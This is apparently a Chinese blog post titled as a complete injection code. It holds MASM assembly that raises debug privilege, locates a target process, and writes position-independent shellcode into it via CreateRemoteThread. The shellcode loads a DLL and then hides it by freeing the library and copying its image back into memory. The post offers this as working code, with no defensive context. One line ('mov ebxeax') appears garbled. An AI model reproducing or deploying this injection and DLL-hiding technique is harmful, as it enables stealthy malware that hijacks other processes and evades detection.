注射的一个完整代码

说明:下面代码是基本的注射,执行的代码在test_dll.dll里
test_dll.dll在进程加载后重定位的PE镜像复制一个临时空间,然后FreeLibrary,再从临时空间把镜像复制到原空间,这样实现无DLL
.386
.MODEL  flat, stdcall
OPTION  CASEMAP: NONE

Include windows.inc
Include user32.inc
Include kernel32.inc
include advapi32.inc
include masm32.inc

IncludeLib user32.lib
IncludeLib kernel32.lib
includeLib advapi32.lib
includelib masm32.lib

include macros.asm

.code

;提高权限
DebugPrivilege  proc bEnable:BOOL
     local hToken : HANDLE
     local tp : TOKEN_PRIVILEGES
     push  ebx
     invoke GetCurrentProcess
     mov  ebxeax
     invoke OpenProcessToken,  ebx, TOKEN_QUERY + TOKEN_ADJUST_PRIVILEGES,  ADDR hToken
     .if  eax!=NULL
         mov tp.PrivilegeCount, 1
         .if bEnable
             mov tp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
         .else
             mov tp.Privileges[0].Attributes,0
         .endif
         invoke LookupPrivilegeValue,NULL,CTXT( "SeDebugPrivilege"), addr tp.Privileges[0].Luid
         .if  eax!=NULL            
             invoke AdjustTokenPrivileges,hToken, FALSE, addr tp,sizeof TOKEN_PRIVILEGES,NULL,NULL
         .endif
         invoke CloseHandle,hToken
     .endif
     pop  ebx
     Ret
DebugPrivilege  EndP

;获取目标服务进程pid
GetPid  proc  uses  edx  ebx
     local hSCManager,schService:SC_HANDLE
     local buffer[255]: BYTE
     local pcbBytesNeeded: DWORD

     xor  ebx, ebx
     mov hSCManager,NULL
     mov schService,NULL
     invoke OpenSCManager,NULL,NULL,SC_MANAGER_ALL_ACCESS
     .if  eax!=NULL
         mov hSCManager, eax
         invoke OpenService,hSCManager,CTXT( "ProtectedStorage"),SERVICE_ALL_ACCESS
         .if  eax!=NULL
             mov schService, eax
             invoke QueryServiceStatusEx,schService,0 ,/
                 addr buffer,255, addr pcbBytesNeeded
             invoke CloseServiceHandle,schService
             lea  edx,buffer
             ;assume edx:ptr SERVICE_STATUS_PROCESS
             mov  ebx,[ edx+28]
             ;assume edx:nothing
         .endif
         invoke CloseServiceHandle,hSCManager
     .endif
     mov  eax, ebx
     Ret
GetPid  EndP

_ProtoGetProcAddress    typedef     proto    : dword,: dword
_ProtoLoadLibrary    typedef     proto    : dword
_ProtoVirtualAlloc    typedef  proto    : dword,: dword,: dword,: dword
_ProtoFreeLibrary    typedef  proto    : dword
_ProtoVirtualFree    typedef  proto    : dword,: dword,: dword
_ProtoRtlCopyMemory    typedef  proto     : dword,: dword,: dword

_ApiGetProcAddress    typedef     ptr    _ProtoGetProcAddress
_ApiLoadLibrary        typedef  ptr _ProtoLoadLibrary
_ApiVirtualAlloc    typedef  ptr _ProtoVirtualAlloc
_ApiFreeLibrary        typedef  ptr _ProtoFreeLibrary
_ApiVirtualFree        typedef  ptr _ProtoVirtualFree

REMOTE_CODE_START  equ this  byte

hDllKernel32     dd    ?
hGhostDll     dd    ?
_GhostDllStart  dd ?
hTmpDll     dd    ?
nSizeOfImage     dd ?

_GetProcAddress    _ApiGetProcAddress    ?
_LoadLibrary    _ApiLoadLibrary        ?
_VirtualAlloc     _ApiVirtualAlloc    ?
_FreeLibrary    _ApiFreeLibrary        ?
_VirtualFree    _ApiVirtualFree        ?

szLoadLibrary         db    'LoadLibraryA',0
szGetProcAddress      db    'GetProcAddress',0
szVirtualAlloc          db     'VirtualAlloc',0
szFreeLibrary          db     'FreeLibrary',0
szVirtualFree          db     'VirtualFree',0
szGhostDll             db     'test_dll.dll',0
szGhostDllStart         db    'GhostStart',0

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 错误 Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler     proc    _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext

         pushad
         mov     esi,_lpExceptionRecord
         mov     edi,_lpContext
        assume     esi: ptr EXCEPTION_RECORD, edi: ptr CONTEXT
         mov     eax,_lpSEH
         push    [ eax + 0ch]
         pop    [ edi].regEbp
         push    [ eax + 8]
         pop    [ edi].regEip
         push     eax
         pop    [ edi].regEsp
        assume     esi:nothing, edi:nothing
         popad
         mov     eax,ExceptionContinueExecution
         ret

_SEHHandler     endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetKernelBase     proc
    assume  fs: flat
     push  esi
     mov  eax, fs:[30h]
     mov  eax,[ eax+0ch]
     mov  esi,[ eax+1ch]
     lodsd
     mov  eax,[ eax+8]
     pop  esi
     Ret
_GetKernelBase  EndP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi         proc    _hModule,_lpszApi
         local    @dwReturn,@dwStringLength

         pushad
         mov    @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
         call    @F
        @@:
         pop     ebx
         sub     ebx, offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
        assume     fs:nothing
         push     ebp
         lea     eax,[ ebx +  offset _Error]
         push     eax
         lea     eax,[ ebx +  offset _SEHHandler]
         push     eax
         push     fs:[0]
         mov     fs:[0], esp
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
         mov     edi,_lpszApi
         mov     ecx,-1
         xor     al, al
         cld
         repnz     scasb
         mov     ecx, edi
         sub     ecx,_lpszApi
         mov    @dwStringLength, ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
         mov     esi,_hModule
         add     esi,[ esi + 3ch]
        assume     esi: ptr IMAGE_NT_HEADERS
         mov     esi,[ esi].OptionalHeader.DataDirectory.VirtualAddress
         add     esi,_hModule
        assume     esi: ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
         mov     ebx,[ esi].AddressOfNames
         add     ebx,_hModule
         xor     edx, edx
         .repeat
             push     esi
             mov     edi,[ ebx]
             add     edi,_hModule
             mov     esi,_lpszApi
             mov     ecx,@dwStringLength
             repz     cmpsb
             .if    ZERO?
                 pop     esi
                 jmp    @F
             .endif
             pop     esi
             add     ebx,4
             inc     edx
         .until     edx >=    [ esi].NumberOfNames
         jmp    _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
         sub     ebx,[ esi].AddressOfNames
         sub     ebx,_hModule
         shr     ebx,1
         add     ebx,[ esi].AddressOfNameOrdinals
         add     ebx,_hModule
         movzx     eax, word  ptr [ ebx]
         shl     eax,2
         add     eax,[ esi].AddressOfFunctions
         add     eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
         mov     eax,[ eax]
         add     eax,_hModule
         mov    @dwReturn, eax
_Error:
         pop     fs:[0]
         add     esp,0ch
        assume     esi:nothing
         popad
         mov     eax,@dwReturn
         ret

_GetApi         endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

RemoteCodeEntry  proc
     pushad
     ;重定位    
     call    @F
    @@:
     pop     ebx
     sub     ebx, offset @B
    
     ;获取Kernel32.dll基址
     call _GetKernelBase 
     mov    [ ebx+hDllKernel32], eax
    
     ;获取GetProcAddress入口
     mov    [ ebx+hDllKernel32], eax
     lea     eax,[ ebx+szGetProcAddress]
     invoke    _GetApi,[ ebx+hDllKernel32], eax
     mov [ ebx+_GetProcAddress], eax
    
     ;获取LoadLibrary入口
     lea  eax,[ ebx+szLoadLibrary]
     invoke [ ebx+_GetProcAddress],[ ebx+hDllKernel32], eax
     mov [ ebx+_LoadLibrary], eax
    
     ;获取VirtualAlloc入口
     lea  eax,[ ebx+szVirtualAlloc]
     invoke [ ebx+_GetProcAddress],[ ebx+hDllKernel32], eax
     mov [ ebx+_VirtualAlloc], eax
    
     ;获取FreeLibrary入口
     lea  eax,[ ebx+szFreeLibrary]
     invoke [ ebx+_GetProcAddress],[ ebx+hDllKernel32], eax
     mov [ ebx+_FreeLibrary], eax
    
     ;获取VirtualFree入口
     lea  eax,[ ebx+szVirtualFree]
     invoke [ ebx+_GetProcAddress],[ ebx+hDllKernel32], eax
     mov [ ebx+_VirtualFree], eax
        
     ;加载ghost
     lea  eax,[ ebx+szGhostDll]
     invoke [ ebx+_LoadLibrary], eax
     mov [ ebx+hGhostDll], eax
    
     ;获取DLL PE镜像大小
     mov  eax,[ ebx+hGhostDll]
     add  eax,[ eax+3ch]
    assume  eax: ptr IMAGE_NT_HEADERS
     mov  eax,[ eax].OptionalHeader.SizeOfImage
     mov [ ebx+nSizeOfImage], eax
    
     ;获取GhostDllStart入口
     lea  eax,[ ebx+szGhostDllStart]
     invoke [ ebx+_GetProcAddress],[ ebx+hGhostDll], eax
     mov [ ebx+_GhostDllStart], eax    
        
     ;重定位后的代码复制到临时空间
     invoke [ ebx+_VirtualAlloc],0,[ ebx+nSizeOfImage],/
              MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
     mov [ ebx+hTmpDll], eax
     cld
     mov  esi,[ ebx+hGhostDll]
     mov  edi, eax
     mov  ecx,[ ebx+nSizeOfImage]
     rep  movsb
     invoke [ ebx+_FreeLibrary],[ ebx+hGhostDll]

     ;重新加载
     invoke [ ebx+_VirtualAlloc],[ ebx+hGhostDll],[ ebx+nSizeOfImage],/
        MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
     mov [ ebx+hGhostDll], eax
     cld
     mov  esi,[ ebx+hTmpDll]
     mov  edi, eax
     mov  ecx,[ ebx+nSizeOfImage]
     rep  movsb
    
     invoke [ ebx+_VirtualFree],[ ebx+hTmpDll],[ ebx+nSizeOfImage],MEM_DECOMMIT
    
     call [ ebx+_GhostDllStart]
     popad
     Ret
RemoteCodeEntry  EndP

REMOTE_CODE_END  equ this  byte
REMOTE_CODE_LENGTH  equ  offset REMOTE_CODE_END -  offset REMOTE_CODE_START
;注射ghost.dll
InjectGhost  proc
     local @pRemoteCode
     local @hProcess,hThread:HANDLE
     local path[260]:CHAR
     local @pid,cb,pfnThreadRtn,@dwTmp: DWORD    
    
     ;查找对象pid
     invoke FindWindow,NULL,CTXT( "Simple Dialog")
     mov @dwTmp, eax
     invoke GetWindowThreadProcessId,@dwTmp, addr @pid
     ;创建远程线程
     ;invoke DebugPrivilege,TRUE
     invoke OpenProcess,PROCESS_CREATE_THREAD  or PROCESS_VM_OPERATION  or PROCESS_VM_WRITE,/
         FALSE,@pid
     .if  eax!=NULL
         mov @hProcess, eax
         invoke VirtualAllocEx,@hProcess,NULL,REMOTE_CODE_LENGTH,/
            MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
         .if  eax
             mov @pRemoteCode, eax
             invoke WriteProcessMemory,@hProcess,@pRemoteCode,/
                 offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL
             mov  eax,@pRemoteCode
             add  eax, offset RemoteCodeEntry- offset REMOTE_CODE_START
             invoke CreateRemoteThread,@hProcess,NULL,0, eax,0,0,NULL
             invoke CloseHandle, eax
         .endif
         invoke CloseHandle,@hProcess
     .endif
        
     Ret
InjectGhost  EndP

Start:
     invoke InjectGhost
    exit
End Start
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值